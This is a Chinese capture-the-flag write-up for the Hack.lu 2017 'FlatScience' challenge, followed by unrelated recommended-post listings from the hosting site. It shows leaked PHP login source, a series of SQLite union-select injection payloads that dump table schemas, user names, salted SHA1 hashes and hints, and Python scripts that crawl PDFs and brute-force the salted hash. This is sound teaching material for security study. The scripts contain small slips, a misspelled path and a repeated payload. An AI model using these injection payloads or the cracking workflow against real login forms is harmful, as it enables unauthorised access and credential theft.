【Hack.lu-2017】FlatScience
信息:
题目来源:Hack.lu-2017
标签:SQL注入、源码泄露
解题过程
题目页面有多层,存在许多pdf文件,首先进行目录扫描:
[TIME] => 2020-07-07 16:08:57.850532
[TARGET] => http://220.249.52.133:53003/
[NUMBER_OF_THRED] => 10
[KEY_WORDS] => ['flag', 'ctf', 'admin']
[200] => robots.txt
[200] => login.php
[200] => admin.php
[200] => index.html
admin.php与login.php都是登录页面,在admin页面中,存在默认用户名admin,尝试进行弱口令爆破。
无果,进行sql注入fuzz测试:

发现sql注入漏洞,使用数据库为sqlite3。
网页源代码中给出提示:

传入参数debug,页面回显网页源码:
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
根据源代码可知,代码没有针对post的参数进行任何过滤、可以在Set-Cookie中找到需要的回显。
需要构建sqlite注入的payload,因为sqlite比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master。
CREATE TABLE sqlite_master (
type TEXT,
name TEXT, // 表的名称
tbl_name TEXT,
rootpage INTEGER,
sql TEXT // 创建此表的sql语句
);
首先确定回显位置:

进行注入:
[PAYLOAD]:usr=' union select 1,name from sqlite_master where type='table'-- &pw=1
[OUTPUT] :Users // 获得表名
[PAYLOAD]:usr=' union select name,sql from sqlite_master where tbl_name = 'Users' and type = 'table'-- &pw=1
[OUTPUT] :
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
) // 获得创建Users表的sql语句
[PAYLOAD]:usr=' union select 1,group_concat(name) from Users -- &pw=1
[OUTPUT] :admin,fritze,hansi
[PAYLOAD]:usr=' union select 1,group_concat(name) from Users -- &pw=1
[OUTPUT] :
3fab54a50e770d830c0416df817567662a9dc85c,
54eae8935c90f467427f05e4ece82cf569f89507,
34b0bb7c304949f9ff2fc101eef0f048be10d3bd
[PAYLOAD]:usr=' union select 1,group_concat(hint) from Users -- &pw=1
[OUTPUT] :
my fav word in my fav paper?!,
my love is…?,
the password is password;
再根据之前的代码可以分析到:在前面的pdf文件中一个词语和Salz拼接后再shal加密的值等于 +34b0bb7c304949f9ff2fc101eef0f048be10d3bd
下载所有的pdf文件:
import urllib.request
import re
import os
def getHtml(url):
page = urllib.request.urlopen(url)
html = page.read()
page.close()
return html
def getPdfUrl(html):
global url
reg = r'href="(.+?\.pdf)"'
url_re = re.compile(reg)
url_list = url_re.findall(html.decode('utf-8'))
for i in range(len(url_list)):
url_list[i] = url[:-10] + url_list[i]
return url_list
def getUrl(html):
global url
reg = r'href="(.+?\.html)"'
url_re = re.compile(reg)
new_url = url[:-10] + url_re.findall(html.decode('utf-8'))[0]
if '../' in new_url:
return False
else:
url = new_url
return True
def getFile(url):
file_name = url.split('/')[-1]
u = urllib.request.urlopen(url)
f = open(file_name, 'wb')
block_sz = 8192
while True:
buffer = u.read(block_sz)
if not buffer:
break
f.write(buffer)
f.close()
print ("Sucessful to download" + " " + file_name)
if __name__ == "__main__":
url = "http://220.249.52.133:43187/index.html"
if os.path.exists('pdf_download'):
pass
else:
os.mkdir('pdf_download')
os.chdir(os.path.join(os.getcwd(), 'pdf_download'))
FLAG = True
while(FLAG):
html = getHtml(url)
url_list = getPdfUrl(html)
for i in url_list:
getFile(i)
if getUrl(html):
pass
else:
FLAG = False
利用大佬的脚本:
from io import StringIO
#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request
def get_pdf():
return [i for i in os.listdir("./pdf_download/") if i.endswith("pdf")]
def convert_pdf_to_txt(path_to_file):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
codec = 'utf-8'
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp = open(path_to_file, 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos=set()
for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
interpreter.process_page(page)
text = retstr.getvalue()
fp.close()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print ("Searching word in " + i)
pdf_text = convert_pdf_to_txt("./ldf_download/"+i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
print ("Find the password :" + word)
exit()
if __name__ == "__main__":
find_password()
参考
【Hack.lu-2017】FlatScience的更多相关文章
- 【UOJ#340】【清华集训2017】小 Y 和恐怖的奴隶主(矩阵快速幂,动态规划)
[UOJ#340][清华集训2017]小 Y 和恐怖的奴隶主(矩阵快速幂,动态规划) 题面 UOJ 洛谷 题解 考虑如何暴力\(dp\). 设\(f[i][a][b][c]\)表示当前到了第\(i\) ...
- 【CCpp程序设计2017】推箱子游戏
我的还……支持撤销!用链表实现! 题目:推箱子小游戏(基于console) 功能要求: 将p09迷宫游戏改造为“推箱子”游戏: 在地图中增加箱子.箱子目标位置等图形: 当玩家将所有箱子归位,则显示玩家 ...
- UOJ#335. 【清华集训2017】生成树计数 多项式,FFT,下降幂,分治
原文链接www.cnblogs.com/zhouzhendong/p/UOJ335.html 前言 CLY大爷随手切这种题. 日常被CLY吊打系列. 题解 首先从 pruffer 编码的角度考虑这个问 ...
- UOJ#346. 【清华集训2017】某位歌姬的故事 动态规划
原文链接www.cnblogs.com/zhouzhendong/p/UOJ346.html 题解 首先按照 $m_i$ 的大小排个序. 如果某一个区间和一个 m 值比他小的区间有交,那么显然可以将这 ...
- UOJ#345. 【清华集训2017】榕树之心 贪心,动态规划
原文链接https://www.cnblogs.com/zhouzhendong/p/UOJ345.html 前言 我真的是越来越菜了,连树形DP都感觉陌生了. 题解 首先,我们来看看在不断生长叶子会 ...
- 【uoj336】【清华集训2017】无限之环
题目 描述 给出一个\(n*m\)的网格,每个格子里的水管可能向四个方向都有接口: 游戏的目的是不能让水管漏水,即所有接口都有另一个接口与之相接: 你一步可以将一个格子中的水管旋转\(90 ...
- 2018.10.16 uoj#340. 【清华集训2017】小 Y 和恐怖的奴隶主(矩阵快速幂优化dp)
传送门 一道不错的矩阵快速幂优化dpdpdp. 设f[i][j][k][l]f[i][j][k][l]f[i][j][k][l]表示前iii轮第iii轮还有jjj个一滴血的,kkk个两滴血的,lll个 ...
- 【清华集训 2017】小Y的地铁 [模拟退火]
小Y的地铁 Time Limit: 50 Sec Memory Limit: 256 MB Description Input Output 对于每组输入数据,输出一行一个整数,表示除掉这 n 个换 ...
- 【CCpp程序设计2017】简单进销存
题目:简单进销存 功能要求: 实现如下的菜单(按数字选择菜单功能): 1. 显示存货列表 2. 入库 3. 出库 4. 退出程序 实现菜单对应功能(需记录货物的型号.数量等信息): 程序启动时从文件中 ...
- uoj#344. 【清华集训2017】我的生命已如风中残烛(计算几何)
题面 传送门 题解 orzxyx 首先我们发现,一个点如果被到达大于一次,那么这个点肯定在一个环上.所以在不考虑环的情况下每个点只会被到达一次,那么我们就可以直接暴力了 简单来说,我们对每个点\(i\ ...
随机推荐
- Linux防火墙iptables详解
iptables详解(思维导图) 1. 概述 1.1 iptable简介 1.2 防火墙的种类 1.3 netfilter 2. iptables的工作流程 2.1 iptables工作图示 2.2 ...
- Unit4-窝窝之昆崚
全文共3012字,推荐阅读时间10~15分钟. 文章共分五个部分: 作业分析 烘烤OO的精华 评测相关 课程体验感受 一些小小的建议 作业分析 Unit4要求我们实现UML解析器,迭代过程主要是增加对 ...
- Random Point in Triangle【随机数解决期望值问题】
Random Point in Triangle 题目链接(点击) 题目描述 Bobo has a triangle ABC with A(x1,y1),B(x2,y2)A(x1,y1),B(x2,y ...
- C# Winform界面不能适配高DPI的解决方法
1. 将 Form 的 AutoScaleMode 属性设置为 DPI: 2. 在Program.cs中修改代码 class Program { [STAThread] static void Mai ...
- maven项目快速搭建SSM框架(一)创建maven项目,SSM框架整合,Spring+Springmvc+Mybatis
首先了解服务器开发的三层架构,分配相应的任务,这样就能明确目标,根据相应的需求去编写相应的操作. 服务器开发,大致分为三层,分别是: 表现层 业务层 持久层 我们用到的框架分别是Spring+Spri ...
- 阿里P7终于讲完了JDK+Spring+mybatis+Dubbo+SpringMvc+Netty源码
前言 这里普及一下,每个公司都有职别定级系统,阿里也是,技术岗以 P 定级,一般校招 P5, 社招 P6 起.其实阅读源码也是有很多诀窍的,这里分享几点心得: 首先要会用.你要知道这个库是干什么的,掌 ...
- belongsTo和hasOne的区别
简单的讲就是,没有太大的区别,只是在逻辑上出现的思想的偏差(逻辑的合理性).belongsTo:可以理解为属于hasOne:可以理解为拥有 首先,我们创建两张表.user表 字段 id name pa ...
- Java 源码刨析 - 线程的状态有哪些?它是如何工作的?
线程(Thread)是并发编程的基础,也是程序执行的最小单元,它依托进程而存在. 一个进程中可以包含多个线程,多线程可以共享一块内存空间和一组系统资源,因此线程之间的切换更加节省资源.更加轻量化,也因 ...
- cb44a_c++_STL_算法_删除_(2)remove_copy_remove_copy_if
cb44a_c++_STL_算法_删除_(2)remove_copy_remove_copy_if remove_copy()//在复制过程中删除一些数据remove_copy_if() 删除性算法: ...
- MFC套接字连接不成功-记得在app的cpp文件里面初始化套接字
MFC套接字连接不成功-记得在app的cpp文件里面初始化套接字 stdafx.h文件中添加:#include "afxsock.h" BOOL CMFC_TCP_Client_c ...